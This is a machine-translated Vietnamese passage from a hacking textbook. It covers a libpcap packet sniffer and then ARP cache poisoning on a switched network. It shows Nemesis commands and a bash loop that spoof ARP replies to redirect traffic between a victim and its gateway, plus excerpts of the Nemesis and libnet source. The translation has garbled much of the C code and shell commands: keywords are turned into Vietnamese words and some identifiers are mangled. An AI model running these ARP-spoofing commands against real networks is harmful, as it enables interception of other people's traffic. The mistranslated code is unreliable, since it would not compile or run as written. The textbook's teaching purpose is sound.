printf("[[ Lớp 2 :: Tiêu đề Ethernet ]]\n");
printf("[ Nguồn: %02x", ethernet_header->ether_src_addr[0]);
for(i=1; i < ETHER_ADDR_LEN; i++)
printf(":%02x", ethernet_header->ether_src_addr[i]);
printf("\tĐích: %02x", ethernet_header->ether_dest_addr[0]);
cho(i=1; i < ETHER_ADDR_LEN; i++)
printf(":%02x", ethernet_header->ether_dest_addr[i]);
printf("\tLoại: %hu ]\n", ethernet_header->ether_type);
}
void decode_ip(const u_char *header_start)
{ const struct ip_hdr *ip_header;
ip_header = (const struct ip_hdr *)header_start;
printf("\t(( Lớp 3 ::: Tiêu đề IP ))\n");
printf("\t( Nguồn: %s\t", inet_ntoa(ip_header->ip_src_addr));
printf("Đích: %s )\n", inet_ntoa(ip_header->ip_dest_addr));
printf("\t( Kiểu: %u\t", (u_int) ip_header->ip_type);
printf("ID: %hu\tĐộ dài: %hu )\n", ntohs(ip_header->ip_id), ntohs(ip_header->ip_len));
}
u_int giải mã_tcp(const u_char *header_start)
{ u_int kích
thước_tiêu đề; const struct tcp_hdr *tcp_header;
tcp_header = (const struct tcp_hdr *)header_start; kích
thước tiêu đề = 4 * tcp_header->tcp_offset;
printf("\t\t{{ Lớp 4 :::: Tiêu đề TCP }}\n");
printf("\t\t{ Cổng nguồn: %hu\t", ntohs(tcp_header->tcp_src_port));
printf("Cổng đích: %hu }\n", ntohs(tcp_header->tcp_dest_port));
printf("\t\t{ Số thứ tự: %u\t", ntohl(tcp_header->tcp_seq));
printf("Số xác nhận: %u }\n", ntohl(tcp_header->tcp_ack));
printf("\t\t{ Kích thước tiêu đề: %u\tCờ: ", header_size);
if(tcp_header->tcp_flags & TCP_FIN)
printf("FIN ");
nếu(tcp_header->tcp_flags và TCP_SYN)
printf("SYN ");
nếu(tcp_header->tcp_flags và TCP_RST)
printf("RST ");
nếu(tcp_header->tcp_flags và TCP_PUSH)
printf("PUSH ");
nếu(tcp_header->tcp_flags và TCP_ACK)
printf("ACK ");
Mạng lưới 237
Machine Translated by Google
nếu(tcp_header->tcp_flags & TCP_URG)
printf("URG ");
inf(" }\n");
trả về header_size;
}
Các hàm giải mã được truyền một con trỏ đến phần đầu của tiêu đề, được
chuyển đổi thành cấu trúc thích hợp. Điều này cho phép truy cập nhiều trường
khác nhau của tiêu đề, nhưng điều quan trọng cần nhớ là các giá trị này sẽ
theo thứ tự byte mạng. Dữ liệu này được truyền trực tiếp từ dây, do đó thứ
tự byte cần được chuyển đổi để sử dụng trên bộ xử lý x86.
reader@hacking:~/booksrc $ gcc -o giải mã_sniff giải mã_sniff.c -lpcap
người đọc@hacking:~/booksrc $ sudo ./decode_sniff
Đánh hơi trên thiết bị eth0
==== Có một gói 75 byte ====
[[Lớp 2 :: Tiêu đề Ethernet ]]
[ Nguồn: 00:01:29:15:65:b6 Đích: 00:01:6c:eb:1d:50 Loại: 8 ]
((Lớp 3 ::: Tiêu đề IP))
( Nguồn: 192.168.42.1 Đích: 192.168.42.249 )
( Loại: 6 ID: 7755 Chiều dài: 61 )
{{Lớp 4 :::: Tiêu đề TCP }}
{ Cổng nguồn: 35602 Cổng đích: 7890 }
{ Mã số: 2887045274 Mã xác nhận: 3843058889 }
{ Kích thước tiêu đề: 32 Cờ: PUSH ACK }
9 byte dữ liệu gói
74 65 73 74 69 6e 67 0d 0a ====
| thử nghiệm..
Có một gói 66 byte ====
[[Lớp 2 :: Tiêu đề Ethernet ]]
[ Nguồn: 00:01:6c:eb:1d:50 Đích: 00:01:29:15:65:b6 Loại: 8 ]
((Lớp 3 ::: Tiêu đề IP))
( Nguồn: 192.168.42.249 Đích: 192.168.42.1 )
( Loại: 6 ID: 15678 Chiều dài: 52 )
{{Lớp 4 :::: Tiêu đề TCP }}
{ Cổng nguồn: 7890 Cổng đích: 35602 }
{ Mã số: 3843058889 Mã xác nhận: 2887045283 }
{ Kích thước tiêu đề: 32 Cờ: ACK }
Không có dữ liệu gói
==== Có một gói 82 byte ====
[[Lớp 2 :: Tiêu đề Ethernet ]]
[ Nguồn: 00:01:29:15:65:b6 Đích: 00:01:6c:eb:1d:50 Loại: 8 ]
((Lớp 3 ::: Tiêu đề IP))
( Nguồn: 192.168.42.1 Đích: 192.168.42.249 )
ID:
( Loại: 6 Chiều dài:
687756
)
{{Lớp 4 :::: Tiêu đề TCP }}
{ Cổng nguồn: 35602 Cổng đích: 7890 }
{ Mã số: 2887045283 Mã xác nhận: 3843058889 }
{ Kích thước tiêu đề: 32 Cờ: PUSH ACK }
16 byte dữ liệu gói
74 68 69 73 20 69 73 20 61 20 74 65 73 74 0d 0a | đây là một bài kiểm tra..
người đọc@hacking:~/booksrc $
238 0x400
Machine Translated by Google
Với các tiêu đề được giải mã và tách thành các lớp, kết nối TCP/IP dễ hiểu hơn nhiều. Lưu ý các địa
chỉ IP nào được liên kết với
địa chỉ MAC nào. Ngoài ra, hãy chú ý cách số thứ tự trong hai gói tin từ 192.168.42.1 (gói tin đầu tiên
và cuối cùng) tăng lên chín, vì gói tin đầu tiên chứa chín byte dữ liệu thực tế: 2887045283 – 2887045274
= 9.
Giao thức TCP sử dụng tính năng này để đảm bảo mọi dữ liệu đều đến đúng thứ tự, vì các gói tin có thể bị
chậm trễ vì nhiều lý do khác nhau.
Bất chấp tất cả các cơ chế được tích hợp vào tiêu đề gói tin, các gói tin vẫn có thể được nhìn thấy
bởi bất kỳ ai trên cùng một phân đoạn mạng. Các giao thức như FTP, POP3 và telnet truyền dữ liệu mà
không cần mã hóa. Ngay cả khi không có sự hỗ trợ của một công cụ như dsniff, thì việc kẻ tấn công đánh
hơi mạng tìm ra tên người dùng và mật khẩu trong các gói tin này và sử dụng chúng để xâm phạm các hệ
thống khác cũng khá dễ dàng. Theo quan điểm bảo mật, điều này không tốt lắm, vì vậy các bộ chuyển mạch
thông minh hơn cung cấp môi trường mạng chuyển mạch.
0x444 Đang đánh hơi chủ động
Trong môi trường mạng chuyển mạch, các gói tin chỉ được gửi đến cổng mà chúng được gửi đến, theo địa
chỉ MAC đích của chúng. Điều này đòi hỏi phần cứng thông minh hơn có thể tạo và duy trì bảng liên kết
các địa chỉ MAC với các cổng nhất định, tùy thuộc vào thiết bị nào được kết nối với từng cổng, như minh
họa ở đây.
Ưu điểm của môi trường chuyển mạch là các thiết bị chỉ được gửi các gói tin dành cho chúng, do
đó các thiết bị hỗn tạp không thể đánh hơi bất kỳ gói tin bổ sung nào. Nhưng ngay cả trong môi trường
chuyển mạch, vẫn có những cách thông minh để đánh hơi các gói tin của các thiết bị khác; chúng chỉ có
xu hướng phức tạp hơn một chút. Để tìm ra các bản hack như thế này, các chi tiết của giao thức phải
được kiểm tra và sau đó kết hợp lại.
Một khía cạnh quan trọng của truyền thông mạng có thể được thao túng để tạo ra những hiệu ứng thú
vị là địa chỉ nguồn. Không có quy định nào trong các giao thức này đảm bảo rằng địa chỉ nguồn trong
một gói thực sự là địa chỉ của máy nguồn. Hành động giả mạo địa chỉ nguồn trong một gói được gọi là
giả mạo. Việc thêm giả mạo vào túi thủ thuật của bạn làm tăng đáng kể số lượng các vụ hack có thể xảy ra,
vì hầu hết các hệ thống đều mong đợi địa chỉ nguồn là hợp lệ.
Cổng 1 00:00:00:AA:AA:AA
Cổng 2 00:00:00:BB:BB:BB
Cổng 3 00:00:00:CC:CC:CC
Công tắc
123
00:00:00:AA:AA:AA
00:00:00:BB:BB:BB
00:00:00:CC:CC:CC
Mạng lưới 239
Machine Translated by Google
Spoofing là bước đầu tiên trong việc đánh hơi các gói tin trên mạng chuyển mạch. Hai chi tiết thú
vị khác được tìm thấy trong ARP. Đầu tiên, khi một phản hồi ARP đi kèm với một địa chỉ IP đã tồn tại
trong bộ đệm ARP, hệ thống nhận sẽ ghi đè thông tin địa chỉ MAC trước đó bằng thông tin mới tìm thấy
trong phản hồi (trừ khi mục nhập đó trong bộ đệm ARP được đánh dấu rõ ràng là vĩnh viễn). Thứ hai,
không có thông tin trạng thái nào về lưu lượng ARP được lưu giữ, vì điều này sẽ yêu cầu thêm bộ nhớ và
sẽ làm phức tạp một giao thức được cho là đơn giản. Điều này có nghĩa là các hệ thống sẽ chấp nhận phản
hồi ARP ngay cả khi chúng không gửi yêu cầu ARP.
Ba chi tiết này, khi được khai thác đúng cách, cho phép kẻ tấn công đánh hơi
lưu lượng mạng trên mạng chuyển mạch sử dụng kỹ thuật được gọi là chuyển hướng ARP. Kẻ tấn công gửi
phản hồi ARP giả mạo đến một số thiết bị khiến các mục bộ đệm ARP bị ghi đè bằng dữ liệu của kẻ tấn
công. Kỹ thuật này
nique được gọi là đầu độc bộ đệm ARP. Để đánh hơi lưu lượng mạng giữa hai điểm, A và B, kẻ tấn công cần
đầu độc bộ đệm ARP của A để khiến A tin rằng địa chỉ IP của B nằm ở địa chỉ MAC của kẻ tấn công, và
cũng đầu độc bộ đệm ARP của B để khiến B tin rằng địa chỉ IP của A cũng nằm ở địa chỉ MAC của kẻ tấn
công. Sau đó, máy của kẻ tấn công chỉ cần chuyển tiếp các gói tin này đến đích cuối cùng phù hợp của
chúng. Sau đó, tất cả lưu lượng giữa A và B vẫn được phân phối, nhưng tất cả đều chảy qua máy của kẻ
tấn công, như được hiển thị ở đây.
Hệ thống A
Hệ thống B
Địa chỉ IP: 192.168.0.100
Địa chỉ IP: 192.168.0.200
MAC: 00:00:00:AA:AA:AA
MAC: 00:00:00:BB:BB:BB
Bộ nhớ đệm ARP nội bộ
Bộ nhớ đệm ARP nội bộ
192.168.0.200 lúc 00:00:00:FA:CA:DE
192.168.0.100 lúc 00:00:00:FA:CA:DE
Hệ thống tấn công
Địa chỉ IP: 192.168.0.137
MAC: 00:00:00:FA:CA:DE
Bộ nhớ đệm ARP nội bộ
192.168.0.100 lúc 00:00:00:AA:AA:AA
Giao thông đến A
Giao thông đến B
192.168.0.22 lúc 00:00:00:BB:BB:BB
Vì A và B đang đóng gói các tiêu đề Ethernet của riêng chúng trên các gói tin của chúng dựa trên
bộ đệm ARP tương ứng, nên lưu lượng IP của A dành cho B thực sự được gửi đến địa chỉ MAC của kẻ tấn công
và ngược lại. Bộ chuyển mạch chỉ lọc lưu lượng dựa trên địa chỉ MAC, do đó bộ chuyển mạch sẽ hoạt động
như được thiết kế để gửi lưu lượng IP của A và B, được chuyển đến địa chỉ MAC của kẻ tấn công, đến cổng
của kẻ tấn công. Sau đó, kẻ tấn công đóng gói lại các gói tin IP với các tiêu đề Ethernet thích hợp và
gửi chúng trở lại bộ chuyển mạch, nơi chúng cuối cùng được định tuyến đến đích thích hợp của chúng.
Bộ chuyển mạch hoạt động bình thường; chính các máy nạn nhân bị lừa chuyển hướng lưu lượng của chúng
qua máy của kẻ tấn công.
240 0x400
Machine Translated by Google
Do giá trị thời gian chờ, máy nạn nhân sẽ định kỳ gửi yêu cầu ARP thực và nhận phản
hồi ARP thực để phản hồi. Để duy trì cuộc tấn công chuyển hướng, kẻ tấn công phải giữ
bộ đệm ARP của máy nạn nhân bị đầu độc. Một cách đơn giản để thực hiện điều này là gửi
phản hồi ARP giả mạo đến cả A và B theo một khoảng thời gian không đổi—ví dụ, cứ sau
10 giây.
Cổng là hệ thống định tuyến tất cả lưu lượng từ mạng cục bộ ra Internet. Chuyển
hướng ARP đặc biệt thú vị khi một trong các máy nạn nhân là cổng mặc định, vì lưu lượng
giữa cổng mặc định và hệ thống khác là lưu lượng Internet của hệ thống đó. Ví dụ, nếu
một máy ở 192.168.0.118 đang giao tiếp với cổng ở 192.168.0.1 qua một bộ chuyển mạch,
lưu lượng sẽ bị hạn chế bởi địa chỉ MAC. Điều này có nghĩa là lưu lượng này thường
không thể bị đánh hơi, ngay cả ở chế độ hỗn tạp. Để đánh hơi lưu lượng này, nó phải
được chuyển hướng.
Để chuyển hướng lưu lượng, trước tiên cần xác định địa chỉ MAC của 192.168.0.118 và 192.168.0.1.
Có thể thực hiện điều này bằng cách ping các máy chủ này, vì bất kỳ nỗ lực kết nối IP nào cũng sẽ sử dụng
ARP. Nếu bạn chạy sniffer, bạn có thể thấy thông tin liên lạc ARP, nhưng hệ điều hành sẽ lưu trữ đệm
các liên kết địa chỉ IP/MAC kết quả.
người đọc@hacking:~/booksrc $ ping -c 1 -w 1 192.168.0.1
PING 192.168.0.1 (192.168.0.1): dữ liệu 56 octet
64 octet từ 192.168.0.1: icmp_seq=0 ttl=64 time=0.4 ms
--- Thống kê ping 192.168.0.1 --1 gói tin được truyền đi, 1 gói tin được nhận, 0% mất gói tin
khứ hồi min/avg/max = 0,4/0,4/0,4 ms
người đọc@hacking:~/booksrc $ ping -c 1 -w 1 192.168.0.118
PING 192.168.0.118 (192.168.0.118): dữ liệu 56 octet
64 octet từ 192.168.0.118: icmp_seq=0 ttl=128 thời gian=0,4 ms
--- Thống kê ping 192.168.0.118 --1 gói tin được truyền đi, 1 gói tin được nhận, 0% mất gói tin
khứ hồi min/avg/max = 0,4/0,4/0,4 ms
người đọc@hacking:~/booksrc $ arp -na
? (192.168.0.1) lúc 00:50:18:00:0F:01 [ether] trên eth0
? (192.168.0.118) lúc 00:C0:F0:79:3D:30 [ether] trên eth0
người đọc@hacking:~/booksrc $ ifconfig eth0
eth0 Liên kết encap:Ethernet HWaddr 00:00:AD:D1:C7:ED
địa chỉ inet: 192.168.0.193 Bcast: 192.168.0.255 Mặt nạ: 255.255.255.0
UP PHÁT SÓNG NOTRAILERS ĐANG CHẠY MTU:1500 Metric:1
Gói RX:4153 lỗi:0 bị loại bỏ:0 tràn:0 khung:0
Gói TX:3875 lỗi:0 bị loại bỏ:0 tràn:0 nhà mạng:0
va chạm:0 txqueuelen:100
RX byte: 601686 (587,5 Kb) TX byte: 288567 (281,8 Kb)
Ngắt:9 Địa chỉ cơ sở:0xc000
người đọc@hacking:~/booksrc $
Sau khi ping, địa chỉ MAC cho cả 192.168.0.118 và 192.168.0.1
nằm trong bộ nhớ đệm ARP của kẻ tấn công. Theo cách này, các gói tin có thể đến
đích cuối cùng của chúng sau khi được chuyển hướng đến máy của kẻ tấn công. Giả sử khả
năng chuyển tiếp IP được biên dịch vào hạt nhân, tất cả những gì chúng ta cần làm là
gửi một số phản hồi ARP giả mạo theo các khoảng thời gian đều đặn. 192.168.0.118 cần
được thông báo rằng 192.168.0.1 ở 00:00:AD:D1:C7:ED và 192.168.0.1 cần được
Mạng lưới 241
Machine Translated by Google
cho biết 192.168.0.118 cũng ở 00:00:AD:D1:C7:ED. Các gói ARP giả mạo này có thể được tiêm bằng công cụ
tiêm gói dòng lệnh có tên là Nemesis.
Nemesis ban đầu là một bộ công cụ do Mark Grimes viết, nhưng trong phiên bản 1.4 mới nhất, tất cả
các chức năng đã được đưa vào một tiện ích duy nhất bởi người bảo trì và phát triển mới, Jeff
Nathan. Mã nguồn của Nemesis nằm trên LiveCD tại /usr/src/nemesis-1.4/ và nó đã được xây dựng và cài
đặt.
reader@hacking:~/booksrc $ nemesis
NEMESIS -=- Dự án NEMESIS Phiên bản 1.4 (Bản dựng 26)
Cách sử dụng NEMESIS:
nemesis [chế độ] [tùy chọn]
Chế độ NEMESIS:
arp
tên miền
mạng lưới
icmp
igmp
IP
ospf (hiện tại không hoạt động)
xé
tcp
udp
Tùy chọn NEMESIS:
Để hiển thị các tùy chọn, hãy chỉ định chế độ bằng tùy chọn "trợ giúp".
reader@hacking:~/booksrc $ nemesis arp trợ giúp
Tiêm gói tin ARP/RARP -=- Dự án NEMESIS Phiên bản 1.4 (Bản dựng 26)
Sử dụng ARP/RARP:
arp [-v (chi tiết)] [tùy chọn]
Tùy chọn ARP/RARP:
-S <Địa chỉ IP nguồn>
-D <Địa chỉ IP đích>
-h <Địa chỉ MAC của người gửi trong khung ARP>
-m <Địa chỉ MAC mục tiêu trong khung ARP>
-s <Yêu cầu ARP theo kiểu Solaris với địa chỉ phần cứng mục tiêu được đặt thành phát sóng>
-r ({ARP,RARP} bật REPLY)
-R (bật RARP)
-P <Tệp tải trọng>
Tùy chọn liên kết dữ
liệu: -d <Tên thiết bị Ethernet>
-H <Địa chỉ MAC nguồn>
-M <Địa chỉ MAC đích>
Bạn phải xác định địa chỉ IP nguồn và đích.
242 0x400
Machine Translated by Google
người đọc@hacking:~/booksrc $ sudo nemesis arp -v -r -d eth0 -S 192.168.0.1 -D 192.168.0.118
-h 00:00:AD:D1:C7:ED -m 00:C0:F0:79:3D:30 -H 00:00:AD:D1:C7:ED M 00:C0:F0:79:3D:30
Tiêm gói tin ARP/RARP -=- Dự án NEMESIS Phiên bản 1.4 (Bản dựng 26)
[MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30
[Loại Ethernet] ARP (0x0806)
[Địa chỉ giao thức: IP] 192.168.0.1 > 192.168.0.118
[Địa chỉ phần cứng:MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30
[Mã lệnh ARP] Trả lời
[Phần cứng ARP fmt] Ethernet (1)
[Định dạng giao thức ARP] IP (0x0800)
[Giao thức ARP dài] 6
[Độ dài phần cứng ARP] 4
Đã viết gói yêu cầu ARP đơn hướng 42 byte thông qua linktype DLT_EN10MB
Gói ARP đã được tiêm
người đọc@hacking:~/booksrc $ sudo nemesis arp -v -r -d eth0 -S 192.168.0.118 -D 192.168.0.1 -h
00:00:AD:D1:C7:ED -m 00:50:18:00:0F:01 -H 00:00:AD:D1:C7:ED -M 00:50:18:00:0F:01
Tiêm gói tin ARP/RARP -=- Dự án NEMESIS Phiên bản 1.4 (Bản dựng 26)
[MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01
[Loại Ethernet] ARP (0x0806)
[Địa chỉ giao thức: IP] 192.168.0.118 > 192.168.0.1
[Địa chỉ phần cứng:MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01
[Mã lệnh ARP] Trả lời
[Phần cứng ARP fmt] Ethernet (1)
[Định dạng giao thức ARP] IP (0x0800)
[Giao thức ARP dài] 6
[Độ dài phần cứng ARP] 4
Đã viết gói yêu cầu ARP đơn hướng 42 byte thông qua linktype DLT_EN10MB.
Gói ARP đã được tiêm
người đọc@hacking:~/booksrc $
Hai lệnh này giả mạo các phản hồi ARP từ 192.168.0.1 đến 192.168.0.118 và ngược lại, cả hai đều
tuyên bố rằng địa chỉ MAC của chúng nằm ở địa chỉ MAC của kẻ tấn công là 00:00:AD:D1:C7:ED. Nếu các lệnh
này được lặp lại sau mỗi 10 giây, các phản hồi ARP giả mạo này sẽ tiếp tục giữ cho bộ đệm ARP bị đầu độc
và lưu lượng truy cập bị chuyển hướng. Shell BASH chuẩn cho phép các lệnh được lập trình, sử dụng các
câu lệnh luồng điều khiển quen thuộc. Một vòng lặp while shell BASH đơn giản được sử dụng bên dưới
để lặp mãi mãi, gửi hai phản hồi ARP đầu độc của chúng tôi sau mỗi 10 giây.
reader@hacking:~/booksrc $ trong khi đúng
> làm
Mạng lưới 243
Machine Translated by Google
> sudo nemesis arp -v -r -d eth0 -S 192.168.0.1 -D 192.168.0.118 -h 00:00:AD:D1:C7:ED
-m 00:C0:F0:79:3D:30 -H 00:00:AD:D1:C7:ED -M 00:C0:F0:79:3D:30
> sudo nemesis arp -v -r -d eth0 -S 192.168.0.118 -D 192.168.0.1 -h 00:00:AD:D1:C7:ED
-m 00:50:18:00:0F:01 -H 00:00:AD:D1:C7:ED -M 00:50:18:00:0F:01
> echo "Đang chuyển hướng..."
> ngủ 10
> xong
Tiêm gói tin ARP/RARP -=- Dự án NEMESIS Phiên bản 1.4 (Bản dựng 26)
[MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30
[Loại Ethernet] ARP (0x0806)
[Địa chỉ giao thức: IP] 192.168.0.1 > 192.168.0.118
[Địa chỉ phần cứng:MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30
[Mã lệnh ARP] Trả lời
[Phần cứng ARP fmt] Ethernet (1)
[Định dạng giao thức ARP] IP (0x0800)
[Giao thức ARP dài] 6
[Độ dài phần cứng ARP] 4
Đã viết gói yêu cầu ARP đơn hướng 42 byte thông qua linktype DLT_EN10MB.
Gói ARP đã được tiêm
Tiêm gói tin ARP/RARP -=- Dự án NEMESIS Phiên bản 1.4 (Bản dựng 26)
[MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01
[Loại Ethernet] ARP (0x0806)
[Địa chỉ giao thức: IP] 192.168.0.118 > 192.168.0.1
[Địa chỉ phần cứng:MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01
[Mã lệnh ARP] Trả lời
[Phần cứng ARP fmt] Ethernet (1)
[Định dạng giao thức ARP] IP (0x0800)
[Giao thức ARP dài] 6
[Độ dài phần cứng ARP] 4
Đã viết gói yêu cầu ARP đơn hướng 42 byte thông qua linktype DLT_EN10MB.
Gói ARP đã được tiêm
Đang chuyển hướng...
Bạn có thể thấy cách một thứ đơn giản như Nemesis và shell BASH chuẩn có thể
được sử dụng để nhanh chóng hack cùng nhau một khai thác mạng. Nemesis sử dụng
một thư viện C có tên là libnet để tạo các gói tin giả mạo và đưa chúng vào.
Tương tự như libpcap, thư viện này sử dụng các socket thô và cân bằng sự không
nhất quán giữa các nền tảng với một giao diện chuẩn hóa. libnet cũng cung cấp
một số chức năng tiện lợi để xử lý các gói tin mạng, chẳng hạn như tạo tổng kiểm tra.
Thư viện libnet cung cấp một API đơn giản và thống nhất để tạo và chèn các
gói mạng. Nó được ghi chép đầy đủ và các hàm có tên mô tả. Một cái nhìn tổng
quan về mã nguồn của Nemesis cho thấy việc tạo các gói ARP bằng libnet dễ dàng
như thế nào. Tệp nguồn nemesis-arp.c chứa một số hàm để tạo và chèn các gói ARP,
sử dụng
244 0x400
Machine Translated by Google
cấu trúc dữ liệu cho thông tin tiêu đề gói tin. Hàm nemesis_arp() hiển thị bên dưới được gọi trong
nemesis.c để xây dựng và đưa vào một gói tin ARP.
Từ nemesis-arp.c
ETHERhdr tĩnh etherhdr;
ARPhdr tĩnh arphdr;
...
void nemesis_arp(int argc, char **argv) {
const char *module= "Tiêm gói tin ARP/RARP";
nemesis_maketitle(tiêu đề, mô-đun, phiên bản);
nếu (argc > 1 && !strncmp(argv[1], "trợ giúp", 4))
arp_usage(argv[0]);
arp_initdata();
arp_cmdline(đối số, đối
số); arp_validatedata();
arp_verbose();
nếu (got_payload)
{
nếu (builddatafromfile(ARPBUFFSIZE, &pd, (const char *)file, (const
u_int32_t)PAYLOADMODE) < 0) arp_exit(1);
}
nếu (buildarp(&etherhdr, &arphdr, &pd, thiết bị, trả lời) < 0) {
printf("\n%s Lỗi tiêm\n", (rarp == 0 ? "ARP" : "RARP")); arp_exit(1);
}
khác {
printf("\n%s Gói tin đã được đưa vào\n", (rarp == 0 ? "ARP" : "RARP"));
arp_exit(0);
}
}
Các cấu trúc ETHERhdr và ARPhdr được định nghĩa trong tệp nemesis.h (hiển thị bên dưới) là
các bí danh cho các cấu trúc dữ liệu libnet hiện có. Trong C, typedef được sử dụng để đặt bí danh
cho một kiểu dữ liệu bằng một ký hiệu.
Từ nemesis.h
định nghĩa cấu trúc libnet_arp_hdr ARPhdr;
định nghĩa cấu trúc libnet_as_lsa_hdr ASLSAhdr;
định nghĩa cấu trúc libnet_auth_hdr AUTHhdr;
định nghĩa cấu trúc libnet_dbd_hdr DBDhdr;
Mạng lưới 245
Machine Translated by Google
định nghĩa kiểu cấu trúc libnet_dns_hdr DNShdr;
định nghĩa kiểu cấu trúc libnet_ethernet_hdr ETHERhdr;
định nghĩa cấu trúc libnet_icmp_hdr ICMPhdr;
định nghĩa cấu trúc libnet_igmp_hdr IGMPhdr;
định nghĩa cấu trúc libnet_ip_hdr IPhdr;
Hàm nemesis_arp() gọi một loạt các hàm khác từ tệp này:
arp_initdata(), arp_cmdline(), arp_validatedata() và arp_verbose(). Bạn có thể đoán rằng các
hàm này khởi tạo dữ liệu, xử lý các đối số dòng lệnh, xác thực dữ liệu và thực hiện một số loại
báo cáo chi tiết. Các hàm arp_initdata()
hàm này thực hiện chính xác điều này, khởi tạo các giá trị trong các cấu trúc dữ liệu được khai báo tĩnh.
Hàm arp_initdata() , được hiển thị bên dưới, thiết lập các phần tử khác nhau của
cấu trúc tiêu đề thành các giá trị thích hợp cho một gói ARP.
Từ nemesis-arp.c
tĩnh void arp_initdata(void)
{
/* mặc định */
etherhdr.ether_type = ETHERTYPE_ARP; /* Kiểu Ethernet ARP */
memset(etherhdr.ether_shost, 0, 6); /* Địa chỉ nguồn Ethernet */
memset(etherhdr.ether_dhost, 0xff, 6); /* Địa chỉ đích Ethernet */
arphdr.ar_op = YÊU CẦU_ARPOP;
/* Mã lệnh ARP: yêu cầu */
arphdr.ar_hrd = ARPHRD_ETHER;
/* định dạng phần cứng: Ethernet */
arphdr.ar_pro = ETHERTYPE_IP;
/* định dạng giao thức: IP */
arphdr.ar_hln = 6;
/* Địa chỉ phần cứng 6 byte */
arphdr.ar_pln = 4;
/* Địa chỉ giao thức 4 byte */
memset(arphdr.ar_sha, 0, 6);
/* Địa chỉ người gửi khung ARP */
memset(arphdr.ar_spa, 0, 4);
memset(arphdr.ar_tha, 0, 6);
/* Địa chỉ giao thức người gửi ARP (IP) */
/* Địa chỉ đích của khung ARP */
memset(arphdr.ar_tpa, 0, 4);
/* Địa chỉ giao thức mục tiêu ARP (IP) */
pd.file_mem = NULL;
pd.file_s = 0;
trở lại;
}
Cuối cùng, hàm nemesis_arp() gọi hàm buildarp() với các con trỏ đến các cấu
trúc dữ liệu tiêu đề. Đánh giá theo cách giá trị trả về từ buildarp() được xử lý ở
đây, buildarp() sẽ xây dựng gói tin và đưa vào.
Hàm này nằm trong một tệp nguồn khác, nemesis-proto_arp.c.
Từ nemesis-proto_arp.c
int buildarp(ETHERhdr *eth, ARPhdr *arp, FileData *pd, char *device,
trả lời int)
{
số nguyên n = 0;
u_int32_t gói_arp dài;
tĩnh u_int8_t *pkt;
cấu trúc libnet_link_int *l2 = NULL;
/* kiểm tra xác thực */
246 0x400
Machine Translated by Google
nếu (pd->file_mem == NULL) pd>file_s = 0;
arp_packetlen = LIBNET_ARP_H + LIBNET_ETH_H + pd->file_s;
#ifdef GỠ LỖI
printf("DEBUG: Chiều dài gói tin ARP %u.\n", arp_packetlen); printf("DEBUG:
Kích thước tải trọng ARP %u.\n", pd->file_s); #endif
nếu ((l2 = libnet_open_link_interface(thiết bị, errbuf)) == NULL) {
nemesis_device_failure(INJECTION_LINK, (const char *)device); trả về -1;
}
nếu (libnet_init_packet(arp_packetlen, &pkt) == -1) {
fprintf(stderr, "LỖI: Không thể phân bổ bộ nhớ gói.\n"); trả về -1;
}
libnet_build_ethernet(eth->ether_dhost, eth->ether_shost, eth->ether_type,
NULL, 0, gói);
libnet_build_arp(arp->ar_hrd, arp->ar_pro, arp->ar_hln, arp->ar_pln,
arp->ar_op, arp->ar_sha, arp->ar_spa, arp->ar_tha, arp->ar_tpa, pd->file_mem, pd>file_s, pkt + LIBNET_ETH_H);
n = libnet_write_link_layer(l2, thiết bị, gói, LIBNET_ETH_H +
LIBNET_ARP_H + pd->file_s);
nếu (chi tiết == 2)
nemesis_hexdump(pkt, arp_packetlen, HEX_ASCII_DECODE); nếu (chi tiết
== 3)
nemesis_hexdump(pkt, arp_packetlen, HEX_RAW_DECODE);
nếu (n != arp_packetlen) {
fprintf(stderr, "LỖI: Việc đưa gói tin chưa hoàn tất. Chỉ "ghi %d byte.
"
\n", n);
}
khác {
nếu (dài dòng)
{
nếu (memcmp(eth->ether_dhost, (void *)&one, 6)) {
printf("Đã ghi gói yêu cầu ARP đơn hướng %d byte thông qua "linktype %s.
"
\n", n,
nemesis_lookup_linktype(l2->linktype));
}
khác {
printf("Đã ghi %d byte %s gói thông qua linktype %s.\n", n,
Mạng lưới 247
Machine Translated by Google
(eth->ether_type == ETHERTYPE_ARP ? "ARP" : "RARP"),
nemesis_lookup_linktype(l2->linktype));
}
}
}
libnet_destroy_packet(&gói);
nếu (l2 != NULL)
Giao diện liên kết đóng libnet(l2);
trở về (danh từ);
}
Ở cấp độ cao, bạn có thể đọc được hàm này. Sử dụng các hàm libnet, nó
mở một giao diện liên kết và khởi tạo bộ nhớ cho một gói tin. Sau đó, nó xây
dựng lớp Ethernet bằng các thành phần từ cấu trúc dữ liệu tiêu đề Ethernet
và sau đó thực hiện tương tự cho lớp ARP. Tiếp theo, nó ghi gói tin vào thiết
bị để đưa vào và cuối cùng dọn dẹp bằng cách hủy gói tin và đóng giao diện.
Tài liệu hướng dẫn cho các hàm này từ trang hướng dẫn libnet được hiển thị
bên dưới để làm rõ.
Từ trang man libnet
libnet_open_link_interface() mở một giao diện gói tin cấp thấp. Điều này là cần
thiết để ghi các khung liên kết lớp. Cung cấp một con trỏ u_char đến tên thiết
bị giao diện và một con trỏ u_char đến một bộ đệm lỗi. Trả về một struct
libnet_link_int đã điền hoặc NULL khi có lỗi.
libnet_init_packet() khởi tạo một gói để sử dụng. Nếu tham số size bị bỏ qua (hoặc
âm), thư viện sẽ chọn một giá trị hợp lý cho người dùng (hiện tại là
LIBNET_MAX_PACKET). Nếu phân bổ bộ nhớ thành công, bộ nhớ sẽ được đưa về 0 và hàm
trả về 1. Nếu có lỗi, hàm trả về -1. Vì hàm này gọi malloc, nên chắc chắn bạn
nên, tại một thời điểm nào đó, thực hiện một lệnh gọi tương ứng đến destroy_packet().
libnet_build_ethernet() xây dựng một gói tin ethernet. Cung cấp địa chỉ đích,
địa chỉ nguồn (dưới dạng mảng các byte ký tự không dấu) và loại khung ethernet, một
con trỏ đến một tải trọng dữ liệu tùy chọn, độ dài tải trọng và một con trỏ đến
một khối bộ nhớ được phân bổ trước cho gói tin. Loại gói tin ethernet phải là một
trong những loại sau:
Giá trị
Kiểu
